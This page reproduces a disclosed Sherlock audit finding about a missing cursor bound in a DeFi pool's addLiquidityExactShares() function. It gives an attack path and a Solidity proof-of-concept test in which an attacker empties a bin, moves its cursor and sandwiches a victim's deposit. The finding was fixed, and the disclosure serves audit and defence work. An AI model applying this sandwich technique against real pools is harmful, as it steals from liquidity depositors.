Skip to content
Business logic Audit finding Advanced

`addLiquidityExactShares()` has no cursor bounds, allowing depositors to be sandwiched after a bin is emptied

The addLiquidityExactShares function lacks cursor bounds, so an attacker can empty a bin, reset its share price, move the cursor, and let a victim deposit at a different composition than expected, then arbitrage the victim's deposit. The victim loses funds because their maximum token amounts were calculated using the old bin state.

Kvar Follow

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/2952

Found by

Kvar

Summary

MetricOmmPoolLiquidityAdder::addLiquidityExactShares() does not have the minimum and maximum cursor bounds that addLiquidityWeighted() has, as exact shares and maximum token amounts are expected to provide sufficient protection.

However, if a bin is emptied, the next deposit uses the initial amounts per share. If the previous share price was higher, the victim’s maximum amounts were calculated using the old state and may still allow the transaction after the bin is reset and its cursor is moved.

The attacker can therefore empty the bin, deposit the minimum liquidity, move the cursor, let the victim deposit, and then arbitrage the victim.

Root Cause

addLiquidityExactShares() checks only whether the required token amounts exceed maxAmountToken0 or maxAmountToken1. It does not let the user restrict the bin cursor.

When a bin has no shares, LiquidityLib::addLiquidity() calculates the required amounts using the initial amounts per share and the current cursor. Therefore, the same number of shares can be deposited with a different composition while remaining below the victim’s maximum amounts.

Internal Pre-conditions

  • Attacker must be the only LP in the bin.
  • The bin’s share price must be higher than its initial share price.

External Pre-conditions

None.

Attack Path

  1. Alice is the only LP in bin X.
  2. Bob submits a transaction to receive a fixed number of shares and sets the maximum token amounts based on the current bin state.
  3. Alice front-runs Bob and withdraws all liquidity from the bin.
  4. Alice deposits the minimum liquidity.
  5. Alice swaps outward, moving the cursor toward the end of the bin.
  6. Bob’s transaction executes because the required amounts remain below his maximum amounts.
  7. Bob deposits using a different composition than the one he expected.
  8. Alice back-runs Bob and arbitrages his deposit.

This initial state can happen in several ways. The pool may have been active for some time and the bin’s share price may have increased naturally, with Alice eventually becoming its only remaining LP. Alice may also create this state through share inflation by trading against her own liquidity, or through rounding when minimalMintableLiquidity is low.

Impact

Bob gets arbitraged and thus loses funds.

PoC

Create a new test file in metric-periphery/test:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;

import {MetricOmmPoolBaseTest, Q64} from "../lib/metric-core/test/MetricOmmPool.base.t.sol";
import {MetricOmmPool} from "@metric-core/MetricOmmPool.sol";
import {MetricOmmPoolDeployer} from "@metric-core/MetricOmmPoolDeployer.sol";
import {SwapMath} from "@metric-core/libraries/SwapMath.sol";
import {LiquidityDelta} from "@metric-core/types/PoolOperation.sol";
import {BinState} from "@metric-core/types/PoolStorage.sol";
import {PoolFeeConfig} from "@metric-core/types/FactoryStorage.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {MetricOmmPoolLiquidityAdder} from "../contracts/MetricOmmPoolLiquidityAdder.sol";

contract ExactSharesCursorSandwichPoC is MetricOmmPoolBaseTest {
  MetricOmmPoolLiquidityAdder internal liquidityAdder;

  function setUp() public override {
    super.setUp();

    BinState[] memory positiveBins = new BinState[](1);
    BinState[] memory negativeBins = new BinState[](1);
    positiveBins[0].lengthE6 = 50_000;
    negativeBins[0].lengthE6 = 50_000;

    pool = MetricOmmPool(
      poolDeployer.deploy(
        MetricOmmPoolDeployer.DeployParams({
          salt: keccak256("exact-shares-sandwich"),
          factory: address(this),
          admin: admin,
          adminFeeDestination: adminFeeDestination,
          token0: address(token0),
          token1: address(token1),
          priceProvider: address(oracle),
          extensions: _emptyExtensions(),
          extensionOrders: _emptyExtensionOrders(),
          immutablePriceProvider: true,
          token0ScaleMultiplier: 1,
          token1ScaleMultiplier: 1,
          initialScaledAmount0PerShareE18: 1e18,
          initialScaledAmount1PerShareE18: 1e18,
          minimalMintableLiquidity: 1,
          spreadFeeE6: 0,
          curBinDistFromProvidedPriceE6: 0,
          nonNegativeBinStates: positiveBins,
          negativeBinStates: negativeBins,
          notionalFeeE8: 0
        })
      )
    );

    priceProviderTimelock[address(pool)] = type(uint256).max;
    poolAdmin[address(pool)] = admin;
    poolFeeConfig[address(pool)] =
      PoolFeeConfig({protocolSpreadFeeE6: 0, adminSpreadFeeE6: 0, protocolNotionalFeeE8: 0, adminNotionalFeeE8: 0});
    poolAdminFeeDestination[address(pool)] = adminFeeDestination;
    _approveUsersForPool(address(pool));

    liquidityAdder = new MetricOmmPoolLiquidityAdder(address(token0));
    vm.startPrank(users[1]);
    token0.approve(address(liquidityAdder), type(uint256).max);
    token1.approve(address(liquidityAdder), type(uint256).max);
    vm.stopPrank();
  }

  function test_exactSharesCanBeSandwichedAfterBinReset() public {
    uint256 victimBefore = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);
    uint104 middle = type(uint104).max / 2;
    uint128 middlePrice =
      uint128(SwapMath.calculatePriceAtBinPosition(uint128(Q64), uint128(Q64 * 105 / 100), middle, Math.Rounding.Ceil));

    // Put the cursor in the middle of an empty bin.
    _addLiquidity(0, 0, 0, 1e18, 1);
    _swap(0, address(callers[0]), false, int128(1e18), middlePrice);
    _removeLiquidity(0, 0, 0, 1e18, 1);

    // Alice owns one share. Two round trips leave it backed by 4 token0 and 4 token1.
    _addLiquidity(0, 0, 0, 1, 2);
    for (uint256 i; i < 2; ++i) {
      _swap(0, address(callers[0]), false, 100, type(uint128).max);
      _swap(0, address(callers[0]), true, 100, middlePrice);
    }

    (uint104 balance0, uint104 balance1,,,) = _getBinState(0);
    uint256 attackerBefore =
      token0.balanceOf(address(callers[0])) + token1.balanceOf(address(callers[0])) + balance0 + balance1;

    LiquidityDelta memory victimDelta;
    victimDelta.binIdxs = new int256[](1);
    victimDelta.shares = new uint256[](1);
    victimDelta.binIdxs[0] = 0;
    victimDelta.shares[0] = 100e18;

    // Alice front-runs Bob, resets the share price, and moves to the boundary.
    _removeLiquidity(0, 0, 0, 1, 2);
    _addLiquidity(0, 0, 0, 1, 3);
    _swap(0, address(callers[0]), false, 100, type(uint128).max);

    // Bob's old 4/4 caps still pass.
    vm.prank(users[1]);
    liquidityAdder.addLiquidityExactShares(address(pool), 4, victimDelta, 400e18, 400e18, "");

    // Alice back-runs Bob and returns the cursor to the middle.
    _swap(0, address(callers[0]), true, int128(1_000_000e18), middlePrice);
    _removeLiquidity(0, 0, 0, 1, 3);

    victimDelta.shares[0] = _getPositionBinShares(users[1], 4, 0);
    vm.prank(users[1]);
    pool.removeLiquidity(users[1], 4, victimDelta, "");

    uint256 victimAfter = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);
    uint256 attackerAfter = token0.balanceOf(address(callers[0])) + token1.balanceOf(address(callers[0]));
    assertLt(victimAfter, victimBefore);
    assertGt(attackerAfter, attackerBefore);
  }
}

Run test_exactSharesCanBeSandwichedAfterBinReset() to execute the PoC.

Mitigation

No response

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits: https://github.com/Metric-OMM/metric-periphery/pull/47

The original report as published on Sherlock, by Kvar. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the function only checks token amount limits and does not allow the user to restrict the bin cursor, so when a bin is emptied and reset, the same number of shares can be deposited with a different token composition that still fits under the victim's maximum amounts.

Impact

Bob gets arbitraged and thus loses funds.

What the attacker needed

Attacker is the only LP in the bin; bin share price higher than initial; victim submits a deposit transaction

The fix

The protocol team fixed this issue in a pull request.

How it was found

  1. Alice is the only liquidity provider in a bin.
  2. Bob submits a transaction to receive a fixed number of shares and sets maximum token amounts based on the current bin state.
  3. Alice front-runs Bob and withdraws all liquidity from the bin.
  4. Alice deposits the minimum liquidity.
  5. Alice swaps outward, moving the cursor toward the end of the bin.
  6. Bob's transaction executes because the required amounts remain below his maximum amounts, and Alice back-runs to arbitrage.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A liquidity pool lets people deposit two tokens and get shares. Normally a depositor sets a maximum amount of each token they are willing to spend. Here, an attacker can change the pool's internal state so that the victim's deposit uses a different mix of tokens than the victim expected, even though the total stays under the victim's maximum. The attacker then trades to profit from the victim's worse position.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Kvar

View all

1 more disclosed report, best first.

More from Metric

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.